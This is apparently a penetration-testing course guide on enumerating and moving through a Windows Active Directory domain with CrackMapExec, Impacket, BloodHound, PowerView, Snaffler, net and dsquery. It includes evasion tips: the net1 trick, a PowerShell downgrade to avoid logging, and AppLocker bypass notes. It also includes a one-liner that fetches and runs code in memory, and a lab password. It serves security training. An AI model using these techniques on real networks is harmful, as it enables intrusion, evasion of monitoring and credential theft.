Deeper Down the Rabbit Hole
Enumerating Security Controls
After gaining a foothold, we could use this access to get a feeling for the defensive state of the hosts, enumerate the domain further now that our visibility is not as restricted, and, if necessary, work at "living off the land" by using tools that exist natively on the hosts.
Understanding the protections we may be up against will help inform our decisions regarding tool usage and assist us in planning our course of action by either avoiding or modifying certain tools. Some organizations have more stringent protections than others, and some do not apply security controls equally throughout.
There may be policies applied to certain machines that can make our enumeration more difficult that are not applied on other machines.
Windows Defender
Windows Defender (or Microsoft Defender after the Windows 10 May 2020 Update) has greatly improved over the years and, by default, will block tools such as PowerView
. There are ways to bypass these protections. These ways will be covered in other modules. We can use the built-in PowerShell cmdlet Get-MpComputerStatus to get the current Defender status.
Here, we can see that the RealTimeProtectionEnabled
parameter is set to True
, which means Defender is enabled on the system.
AppLocker
An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.
AppLocker is Microsoft's application whitelisting solution and gives system administrators control over which applications and files users can run. It provides granular control over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.
It is common for organizations to block cmd.exe and PowerShell.exe and write access to certain directories, but this can all be bypassed.
Organizations also often focus on blocking the PowerShell.exe
executable, but forget about the other PowerShell executable locations such as %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
or PowerShell_ISE.exe
.
PowerShell Constrained Language Mode
PowerShell Constrained Language Mode locks down many of the features needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more. We can quickly enumerate whether we are in Full Language Mode or Constrained Language Mode.
LAPS
The Microsoft Local Administrator Password Solution (LAPS) is used to randomize and rotate local administrator passwords on Windows hosts and prevent lateral movement. We can enumerate what domain users can read the LAPS password set for machines with LAPS installed and what machines do not have LAPS installed.
The LAPSToolkit greatly facilitates this with several functions. One is parsing ExtendedRights
for all computers with LAPS enabled. This will show groups specifically delegated to read LAPS passwords, which are often users in protected groups. An account that has joined a computer to a domain receives All Extended Rights
over that host, and this right gives the account the ability to read passwords.
Enumeration may show a user account that can read the LAPS password on a host. This can help us target specific AD users who can read LAPS passwords.
The Find-AdmPwdExtendedRights
checks the rights on each computer with LAPS enabled for any groups with read access and users with "All Extended Rights." Users with "All Extended Rights" can read LAPS passwords and may be less protected than users in delegated groups, so this is worth checking for.
We can use the Get-LAPSComputers
function to search for computers that have LAPS enabled when passwords expire, and even the randomized passwords in cleartext if our user has access.
Credentialed Enumeration - from Linux
CrackMapExec or NetSh
For now, the flags we are interested in are:
-u Username
The user whose credentials we will use to authenticate
-p Password
User's password
Target (IP or FQDN)
Target host to enumerate
(in our case, the Domain Controller)--users
Specifies to enumerate Domain Users
--groups
Specifies to enumerate domain groups
--loggedon-users
Attempts to enumerate what users are logged on to a target, if any
CME - Domain User Enumeration
We can also obtain a complete listing of domain groups. We should save all of our output to files to easily access it again later for reporting or use with other tools.
CME - Domain Group Enumeration
We can begin to note down groups of interest. Take note of key groups like Administrators
, Domain Admins
, Executives
, any groups that may contain privileged IT admins, etc. These groups will likely contain users with elevated privileges worth targeting during our assessment.
CME - Logged On Users
We can also see that our user forend
is a local admin because (Pwn3d!)
appears after the tool successfully authenticates to the target host.
We can see that the user svc_qualys
is logged in, who we earlier identified as a domain admin. It could be an easy win if we can steal this user's credentials from memory or impersonate them.
As we will see later, BloodHound
(and other tools such as PowerView
) can be used to hunt for user sessions. BloodHound is particularly powerful as we can use it to view Domain User sessions graphically and quickly in many ways. Regardless, tools such as CME are great for more targeted enumeration and user hunting.
CME Share Searching
Next, we can dig into the shares and spider each directory looking for files. The module spider_plus
will dig through each readable share on the host and list all readable files. Let's give it a try.
When completed, CME writes the results to a JSON file located at /tmp/cme_spider_plus/<ip of host>
SMBMap
SMBMap is great for enumerating SMB shares from a Linux attack host. It can be used to gather a listing of shares, permissions, and share contents if accessible.
Once access is obtained, it can be used to download and upload files and execute remote commands.
SMBMap To Check Access
Let's do a recursive listing of the directories in the Department Shares
share. We can see, as expected, subdirectories for each department in the company.
Recursive List Of All Directories
rpcclient
Due to SMB NULL sessions (covered in-depth in the password spraying sections) on some of our hosts, we can perform authenticated or unauthenticated enumeration using rpcclient in the INLANEFREIGHT.LOCAL domain. An example of using rpcclient from an unauthenticated standpoint (if this configuration exists in our target domain) would be:
From here, we can begin to enumerate any number of different things. Let's start with domain users.
rpcclient Enumeration
While looking at users in rpcclient, you may notice a field called rid:
beside each user. A Relative Identifier (RID) is a unique identifier (represented in hexadecimal format) utilized by Windows to track and identify objects.
To explain how this fits in, let's look at the examples below:
The SID for the INLANEFREIGHT.LOCAL domain is:
S-1-5-21-3842939050-3880317879-2865463114
.When an object is created within a domain, the number above (SID) will be combined with a RID to make a unique value used to represent the object.
So the domain user
htb-student
with a RID:[0x457] Hex 0x457 would = decimal1111
, will have a full user SID of:S-1-5-21-3842939050-3880317879-2865463114-1111
.This is unique to the
htb-student
object in the INLANEFREIGHT.LOCAL domain and you will never see this paired value tied to another object in this domain or any other.
However, there are accounts that you will notice that have the same RID regardless of what host you are on. Accounts like the built-in Administrator for a domain will have a RID [administrator] rid:[0x1f4], which, when converted to a decimal value, equals 500
. The built-in Administrator account will always have the RID value Hex 0x1f4
, or 500. This will always be the case. Since this value is unique to an object, we can use it to enumerate further information about it from the domain. Let's give it a try again with rpcclient. We will dig a bit targeting the htb-student
user.
When we searched for information using the queryuser
command against the RID 0x457
, RPC returned the user information for htb-student
as expected.
This wasn't hard since we already knew the RID for htb-student
. If we wished to enumerate all users to gather the RIDs for more than just one, we would use the enumdomusers
command.
Using it in this manner will print out all domain users by name and RID. Our enumeration can go into great detail utilizing rpcclient. We could even start performing actions such as editing users and groups or adding our own into the domain.
Impacket Toolkit
Impacket is a versatile toolkit that provides us with many different ways to enumerate, interact, and exploit Windows protocols and find the information we need using Python.
Psexec.py
One of the most useful tools in the Impacket suite is psexec.py
. Psexec.py is a clone of the Sysinternals psexec executable, but works slightly differently from the original. The tool creates a remote service by uploading a randomly-named executable to the ADMIN$
share on the target host.
It then registers the service via RPC
and the Windows Service Control Manager
. Once established, communication happens over a named pipe, providing an interactive remote shell as SYSTEM
on the victim host.
Once we execute the psexec module, it drops us into the system32
directory on the target host. We ran the whoami
command to verify, and it confirmed that we landed on the host as SYSTEM
.
wmiexec.py
Wmiexec.py utilizes a semi-interactive shell where commands are executed through Windows Management Instrumentation. It does not drop any files or executables on the target host and generates fewer logs than other modules.
After connecting, it runs as the local admin user we connected with (this can be less obvious to someone hunting for an intrusion than seeing SYSTEM executing many commands). This is a more stealthy approach to execution on hosts than other tools, but would still likely be caught by most modern anti-virus and EDR systems.
Note that this shell environment is not fully interactive, so each command issued will execute a new cmd.exe from WMI and execute your command. The downside of this is that if a vigilant defender checks event logs and looks at event ID 4688: A new process has been created, they will see a new process created to spawn cmd.exe and issue a command. This isn't always malicious activity since many organizations utilize WMI to administer computers, but it can be a tip-off in an investigation.
Windapsearch
Windapsearch is another handy Python script we can use to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.
We have several options with Windapsearch to perform standard enumeration (dumping users, computers, and groups) and more detailed enumeration. The --da
(enumerate domain admins group members ) option and the -PU
( find privileged users) options. The -PU
option is interesting because it will perform a recursive search for users with nested group membership.
To identify more potential users, we can run the tool with the -PU
flag and check for users with elevated privileges that may have gone unnoticed. This is a great check for reporting since it will most likely inform the customer of users with excess privileges from nested group membership.
You'll notice that it performed mutations against common elevated group names in different languages. This output gives an example of the dangers of nested group membership, and this will become more evident when we work with BloodHound graphics to visualize this.
Bloodhound.py
BloodHound is one of, if not the most impactful tools ever released for auditing Active Directory security, and it is hugely beneficial for us as penetration testers.
We can take large amounts of data that would be time-consuming to sift through and create graphical representations or "attack paths" of where access with a particular user may lead.
The tool consists of two parts: the SharpHound collector written in C# for use on Windows systems, or for this section, the BloodHound.py collector (also referred to as an ingestor
) and the BloodHound GUI tool which allows us to upload collected data in the form of JSON files.
Once uploaded, we can run various pre-built queries or write custom queries using Cypher language. The tool collects data from AD such as users, groups, computers, group membership, GPOs, ACLs, domain trusts, local admin access, user sessions, computer and user properties, RDP access, WinRM access, etc.
It was initially only released with a PowerShell collector, so it had to be run from a Windows host. Eventually, a Python port (which requires Impacket, ldap3
, and dnspython
) was released by a community member. This helped immensely during penetration tests when we have valid domain credentials, but do not have rights to access a domain-joined Windows host or do not have a Windows attack host to run the SharpHound collector from.
This also helps us not have to run the collector from a domain host, which could potentially be blocked or set off alerts (though even running it from our attack host will most likely set off alarms in well-protected environments).
Running bloodhound-python -h
from our Linux attack host will show us the options available.
Executing BloodHound.py
The -c all
flag told the tool to run all checks. Once the script finishes, we will see the output files in the current working directory in the format of <date_object.json>.
Upload the Zip File into the BloodHound GUI
We could then type sudo neo4j start
to start the neo4j service, firing up the database we'll load the data into and also run Cypher queries against.
Next, we can type bloodhound
from our Linux attack host to start the BloodHound GUI application and upload the data.
HTB credentials:
user == neo4j
/ pass == HTB_@cademy_stdnt!
We can either upload each JSON file one by one or zip them first with a command such as zip -r ilfreight_bh.zip *.json
and upload the Zip file.
We do this by clicking the Upload Data
button on the right side of the window (green arrow). When the file browser window pops up to select a file, choose the zip file (or each JSON file) (red arrow) and hit Open
.
Now that the data is loaded, we can use the Analysis tab to run queries against the database. These queries can be custom and specific to what you decide using custom Cypher queries. There are many great cheat sheets to help us here. We will discuss custom Cypher queries more in a later section. As seen below, we can use the built-in Path Finding
queries on the Analysis tab
on the Left
side of the window.
The query chosen to produce the map above was Find Shortest Paths To Domain Admins
.
Credentialed Enumeration - from Windows
SharpHound/BloodHound, PowerView/SharpView, Grouper2, Snaffler, and some built-in tools useful for AD enumeration.
At this point, we are interested in other misconfigurations and permission issues that could lead to lateral and vertical movement. We are also interested in getting a bigger picture of how the domain is set up, i.e., do any trusts exist with other domains both inside and outside the current forest? We're also interested in pillaging file shares that our user has access to, as these often contain sensitive data such as credentials that can be used to further our access.
The first tool we will explore is the ActiveDirectory PowerShell module. When landing on a Windows host in the domain, especially one an admin uses, there is a chance you will find valuable tools and scripts on the host.
ActiveDirectory PowerShell Module
The ActiveDirectory PowerShell module is a group of PowerShell cmdlets for administering an Active Directory environment from the command line
Before we can utilize the module, we have to make sure it is imported first. The Get-Module cmdlet, which is part of the Microsoft.PowerShell.Core module, will list all available modules, their version, and potential commands for use. This is a great way to see if anything like Git or custom administrator scripts are installed. If the module is not loaded, run Import-Module ActiveDirectory
to load it for use.
Discover Modules
Load ActiveDirectory Module
Get Domain Info
This will print out helpful information like the domain SID, domain functional level, any child domains, and more. Next, we'll use the Get-ADUser cmdlet. We will be filtering for accounts with the ServicePrincipalName
property populated. This will get us a listing of accounts that may be susceptible to a Kerberoasting attack, which we will cover in-depth after the next section.
Get-ADUser
Another interesting check we can run utilizing the ActiveDirectory module, would be to verify domain trust relationships using the Get-ADTrust cmdlet
Checking For Trust Relationships
This cmdlet will print out any trust relationships the domain has. We can determine if they are trusts within our forest or with domains in other forests, the type of trust, the direction of the trust, and the name of the domain the relationship is with. This will be useful later on when looking to take advantage of child-to-parent trust relationships and attacking across forest trusts.
Next, we can gather AD group information using the Get-ADGroup cmdlet.
Group Enumeration
We can take the results and feed interesting names back into the cmdlet to get more detailed information about a particular group like so:
Now that we know more about the group, let's get a member listing using the Get-ADGroupMember cmdlet.
Group Membership
PowerView
PowerView is a tool written in PowerShell to help us gain situational awareness within an AD environment.
Much like BloodHound, it provides a way to identify where users are logged in on a network, enumerate domain information such as users, computers, groups, ACLS, trusts, hunt for file shares and passwords, perform Kerberoasting, and more.
Let's examine some of PowerView's capabilities and see what data it returns. The table below describes some of the most useful functions PowerView offers.
Command
Description
Export-PowerViewCSV
Append results to a CSV file
ConvertTo-SID
Convert a User or group name to its SID value
Get-DomainSPNTicket
Requests the Kerberos ticket for a specified Service Principal Name (SPN) account
Domain/LDAP Functions:
Get-Domain
Will return the AD object for the current (or specified) domain
Get-DomainController
Return a list of the Domain Controllers for the specified domain
Get-DomainUser
Will return all users or specific user objects in AD
Get-DomainComputer
Will return all computers or specific computer objects in AD
Get-DomainGroup
Will return all groups or specific group objects in AD
Get-DomainOU
Search for all or specific OU objects in AD
Find-InterestingDomainAcl
Finds object ACLs in the domain with modification rights set to non-built in objects
Get-DomainGroupMember
Will return the members of a specific domain group
Get-DomainFileServer
Returns a list of servers likely functioning as file servers
Get-DomainDFSShare
Returns a list of all distributed file systems for the current (or specified) domain
GPO Functions:
Get-DomainGPO
Will return all GPOs or specific GPO objects in AD
Get-DomainPolicy
Returns the default domain policy or the domain controller policy for the current domain
Computer Enumeration Functions:
Get-NetLocalGroup
Enumerates local groups on the local or a remote machine
Get-NetLocalGroupMember
Enumerates members of a specific local group
Get-NetShare
Returns open shares on the local (or a remote) machine
Get-NetSession
Will return session information for the local (or a remote) machine
Test-AdminAccess
Tests if the current user has administrative access to the local (or a remote) machine
Threaded 'Meta'-Functions:
Find-DomainUserLocation
Finds machines where specific users are logged in
Find-DomainShare
Finds reachable shares on domain machines
Find-InterestingDomainShareFile
Searches for files matching specific criteria on readable shares in the domain
Find-LocalAdminAccess
Find machines on the local domain where the current user has local administrator access
Domain Trust Functions:
Get-DomainTrust
Returns domain trusts for the current domain or a specified domain
Get-ForestTrust
Returns all forest trusts for the current forest or a specified forest
Get-DomainForeignUser
Enumerates users who are in groups outside of the user's domain
Get-DomainForeignGroupMember
Enumerates groups with users outside of the group's domain and returns each foreign member
Get-DomainTrustMapping
Will enumerate all trusts for the current domain and any others seen.
First up is the Get-DomainUser function. This will provide us with information on all users or specific users we specify.
We can use the Get-DomainGroupMember function to retrieve group-specific information. Adding the -Recurse
switch tells PowerView that if it finds any groups that are part of the target group (nested group membership) to list out the members of those groups.
Now we know who to target for potential elevation of privileges. Like with the AD PowerShell module, we can also enumerate domain trust mappings.
We can use the Test-AdminAccess function to test for local admin access on either the current machine or a remote one.
Now we can check for users with the SPN attribute set, which indicates that the account may be subjected to a Kerberoasting attack.
SharpView
PowerView is part of the now deprecated PowerSploit offensive PowerShell toolkit
The tool has been receiving updates by BC-Security as part of their Empire 4 framework. Empire 4 is BC-Security's fork of the original Empire project and is actively maintained as of April 2022.
Another tool worth experimenting with is SharpView, a .NET port of PowerView. Many of the same functions supported by PowerView can be used with SharpView. We can type a method name with -Help
to get an argument list.
Here we can use SharpView to enumerate information about a specific user
Though evasion is not in scope for this module, SharpView can be useful when a client has hardened against PowerShell usage or we need to avoid using PowerShell.
Shares
We can use PowerView to hunt for shares and then help us dig through them or use various manual commands to hunt for common strings such as files with pass
in the name. This can be a tedious process, and we may miss things, especially in large environments. Now, let's take some time to explore the tool Snaffler
and see how it can aid us in identifying these issues more accurately and efficiently.
Snaffler
Snaffler is a tool that can help us acquire credentials or other sensitive data in an Active Directory environment. Snaffler works by obtaining a list of hosts within the domain and then enumerating those hosts for shares and readable directories. Once that is done, it iterates through any directories readable by our user and hunts for files that could serve to better our position within the assessment. Snaffler requires that it be run from a domain-joined host or in a domain-user context.
The -s
tells it to print results to the console for us, the -d
specifies the domain to search within, and the -o
tells Snaffler to write results to a logfile. The -v
option is the verbosity level.
Snaffler can produce a considerable amount of data, so we should typically output to file and let it run and then come back to it later. It can also be helpful to provide Snaffler raw output to clients as supplemental data during a penetration test as it can help them zero in on high-value shares that should be locked down first.
We may find passwords, SSH keys, configuration files, or other data that can be used to further our access. Snaffler color codes the output for us and provides us with a rundown of the file types found in the shares.
BloodHound
As discussed in the previous section, Bloodhound
is an exceptional open-source tool that can identify attack paths within an AD environment by analyzing the relationships between objects
When used correctly and coupled with custom Cipher queries, BloodHound may find high-impact, but difficult to discover, flaws that have been present in the domain for years.
First, we must authenticate as a domain user from a Windows attack host positioned within the network (but not joined to the domain) or transfer the tool to a domain-joined host.
We'll start by running the SharpHound.exe collector from the MS01 attack host.
Next, we can exfiltrate the dataset to our own VM or ingest it into the BloodHound GUI tool on the attack host (intended as Windows machine in client's network).
Next, click on the Upload Data
button on the right-hand side, select the newly generated zip file, and click Open
. An Upload Progress
window will pop up. Once all .json files show 100% complete, click the X at the top of that window
We can start by typing domain:
in the search bar on the top left and choosing INLANEFREIGHT.LOCAL
from the results.
Now, let's check out a few pre-built queries in the Analysis
tab. The query Find Computers with Unsupported Operating Systems
is great for finding outdated and unsupported operating systems running legacy software.
Sometimes we will see hosts that are no longer powered on but still appear as records in AD. We should always validate whether they are "live" or not before making recommendations in our reports. We may write up a high-risk finding for Legacy Operating Systems or a best practice recommendation for cleaning up old records in AD.
We can run the query Find Computers where Domain Users are Local Admin
to quickly see if there are any hosts where all users have local admin rights. If this is the case, then any account we control can typically be used to access the host(s) in question, and we may be able to retrieve credentials from memory or find other sensitive data.
Living Off the Land
Env Commands For Host & Network Recon
Basic Enumeration Commands
Command
Result
hostname
Prints the PC's Name
[System.Environment]::OSVersion.Version
Prints out the OS version and revision level
wmic qfe get Caption,Description,HotFixID,InstalledOn
Prints the patches and hotfixes applied to the host
ipconfig /all
Prints out network adapter state and configurations
set
Displays a list of environment variables for the current session (ran from CMD-prompt)
echo %USERDOMAIN%
Displays the domain name to which the host belongs (ran from CMD-prompt)
echo %logonserver%
Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt)
We can cover the information above with one command systeminfo.
Harnessing PowerShell
Cmd-Let
Description
Get-Module
Lists available modules loaded for use.
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
This will change the policy for our current process using the -Scope
parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host.
Get-ChildItem Env: | ft Key,Value
Return environment values such as key paths, users, computer information, etc.
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"
This is a quick and easy way to download a file from the web using PowerShell and call it from memory.
Powershell event logging was introduced as a feature with Powershell 3.0 and forward. With that in mind, we can attempt to call Powershell version 2.0 or older. If successful, our actions from the shell will not be logged in Event Viewer.
Downgrade Powershell
Let's check and see if we are still writing logs. The primary place to look is in the PowerShell Operational Log
found under Applications and Services Logs > Microsoft > Windows > PowerShell > Operational
. All commands executed in our session will log to this file. The Windows PowerShell
log located at Applications and Services Logs > Windows PowerShell
is also a good place to check.
Checking Defenses
The next few commands utilize the netsh and sc utilities to help us get a feel for the state of the host when it comes to Windows Firewall settings and to check the status of Windows Defender.
Firewall Checks
Windows Defender Check (from CMD.exe)
Below we will check the status and configuration settings with the Get-MpComputerStatus cmdlet in PowerShell.
We can tell how often scans are run, if the on-demand threat alerting is active, and more. This is also great info for reporting. Often defenders may think that certain settings are enabled or scans are scheduled to run at certain intervals. If that's not the case, these findings can help them remediate those issues.
Am I Alone?
When landing on a host for the first time, one important thing is to check and see if you are the only one logged in. If you start taking actions from a host someone else is on, there is the potential for them to notice you.
Network Information
Networking Commands
Description
arp -a
Lists all known hosts stored in the arp table.
ipconfig /all
Prints out adapter settings for the host. We can figure out the network segment from here.
route print
Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host.
netsh advfirewall show allprofiles
Displays the status of the host's firewall. We can determine if it is active and filtering traffic.
Using arp -a
and route print
will not only benefit in enumerating AD environments, but will also assist us in identifying opportunities to pivot to different network segments in any environment. These are commands we should consider using on each engagement to assist our clients in understanding where an attacker may attempt to go following initial compromise.
Windows Management Instrumentation (WMI)
Windows Management Instrumentation (WMI) is a scripting engine that is widely used within Windows enterprise environments to retrieve information and run administrative tasks on local and remote hosts.
Quick WMI checks
Command
Description
wmic qfe get Caption,Description,HotFixID,InstalledOn
Prints the patch level and description of the Hotfixes applied
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List
Displays basic host information to include any attributes within the list
wmic process list /format:list
A listing of all processes on host
wmic ntdomain list /format:list
Displays information about the Domain and Domain Controllers
wmic useraccount list /format:list
Displays information about all local accounts and any domain accounts that have logged into the device
wmic group list /format:list
Information about all local groups
wmic sysaccount list /format:list
Dumps information about any system accounts that are being used as service accounts.
Below we can see information about the domain and the child domain, and the external forest that our current domain has a trust with. This cheatsheet has some useful commands for querying host and domain info using wmic.
In Powershell
Net Commands
Net commands can be beneficial to us when attempting to enumerate information from the domain. These commands can be used to query the local host and remote hosts, much like the capabilities provided by WMI. We can list information such as:
Local and domain users
Groups
Hosts
Specific users in groups
Domain Controllers
Password requirements
We'll cover a few examples below. Keep in mind that net.exe
commands are typically monitored by EDR solutions and can quickly give up our location if our assessment has an evasive component.
Table of Useful Net Commands
Command
Description
net accounts
Information about password requirements
net accounts /domain
Password and lockout policy
net group /domain
Information about domain groups
net group "Domain Admins" /domain
List users with domain admin privileges
net group "domain computers" /domain
List of PCs connected to the domain
net group "Domain Controllers" /domain
List PC accounts of domains controllers
net group <domain_group_name> /domain
User that belongs to the group
net groups /domain
List of domain groups
net localgroup
All available groups
net localgroup administrators /domain
List users that belong to the administrators group inside the domain (the group Domain Admins
is included here by default)
net localgroup Administrators
Information about a group (admins)
net localgroup administrators [username] /add
Add user to administrators
net share
Check current shares
net user <ACCOUNT_NAME> /domain
Get information about a user within the domain
net user /domain
List all users of the domain
net user %username%
Information about the current user
net use x: \computer\share
Mount the share locally
net view
Get a list of computers
net view /all /domain[:domainname]
Shares on the domains
net view \computer /ALL
List shares of a computer
net view /domain
List of PCs of the domain
Net Commands Trick
If you believe the network defenders are actively logging/looking for any commands out of the normal, you can try this workaround to using net commands. Typing net1
instead of net
will execute the same functions without the potential trigger from the net string.
Dsquery
Dsquery is a helpful command-line tool that can be utilized to find Active Directory objects. The queries we run with this tool can be easily replicated with tools like BloodHound and PowerView, but we may not always have those tools at our disposal
dsquery
will exist on any host with the Active Directory Domain Services Role
installed, and the dsquery
DLL exists on all modern Windows systems by default now and can be found at C:\Windows\System32\dsquery.dll
.
Dsquery DLL
All we need is elevated privileges on a host or the ability to run an instance of Command Prompt or PowerShell from a SYSTEM
context. Below, we will show the basic search function with dsquery
and a few helpful search filters.
User Search
Computer Search
We can use a dsquery wildcard search to view all objects in an OU, for example.
Wildcard Search
We can, of course, combine dsquery
with LDAP search filters of our choosing. The below looks for users with the PASSWD_NOTREQD
flag set in the userAccountControl
attribute.
Users With Specific Attributes Set (PASSWD_NOTREQD)
The below search filter looks for all Domain Controllers in the current domain, limiting to five results.
Searching for Domain Controllers
LDAP Filtering Explained
You will notice in the queries above that we are using strings such as userAccountControl:1.2.840.113556.1.4.803:=8192
. These strings are common LDAP queries that can be used with several different tools too, including AD PowerShell, ldapsearch, and many others. Let's break them down quickly:
userAccountControl:1.2.840.113556.1.4.803:
Specifies that we are looking at the User Account Control (UAC) attributes for an object. This portion can change to include three different values we will explain below when searching for information in AD (also known as Object Identifiers (OIDs).
=8192
represents the decimal bitmask we want to match in this search. This decimal number corresponds to a corresponding UAC Attribute flag that determines if an attribute like password is not required
or account is locked
is set. These values can compound and make multiple different bit entries. Below is a quick list of potential values.
OID match strings
OIDs are rules used to match bit values with attributes, as seen above. For LDAP and AD, there are three main matching rules:
1.2.840.113556.1.4.803
When using this rule as we did in the example above, we are saying the bit value must match completely to meet the search requirements. Great for matching a singular attribute.
1.2.840.113556.1.4.804
When using this rule, we are saying that we want our results to show any attribute match if any bit in the chain matches. This works in the case of an object having multiple attributes set.
1.2.840.113556.1.4.1941
This rule is used to match filters that apply to the Distinguished Name of an object and will search through all ownership and membership entries.
Logical Operators
When building out search strings, we can utilize logical operators to combine values for the search. The operators &
|
and !
are used for this purpose. For example we can combine multiple search criteria with the & (and)
operator like so:
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))
The above example sets the first criteria that the object must be a user and combines it with searching for a UAC bit value of 64 (Password Can't Change).
A user with that attribute set would match the filter. You can take this even further and combine multiple attributes like (&(1) (2) (3))
. The !
(not) and |
(or) operators can work similarly.
For example, our filter above can be modified as follows:
(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))
This would search for any user object that does NOT
have the Password Can't Change attribute set. When thinking about users, groups, and other objects in AD, our ability to search with LDAP queries is pretty extensive.
List attributes of a user
Last updated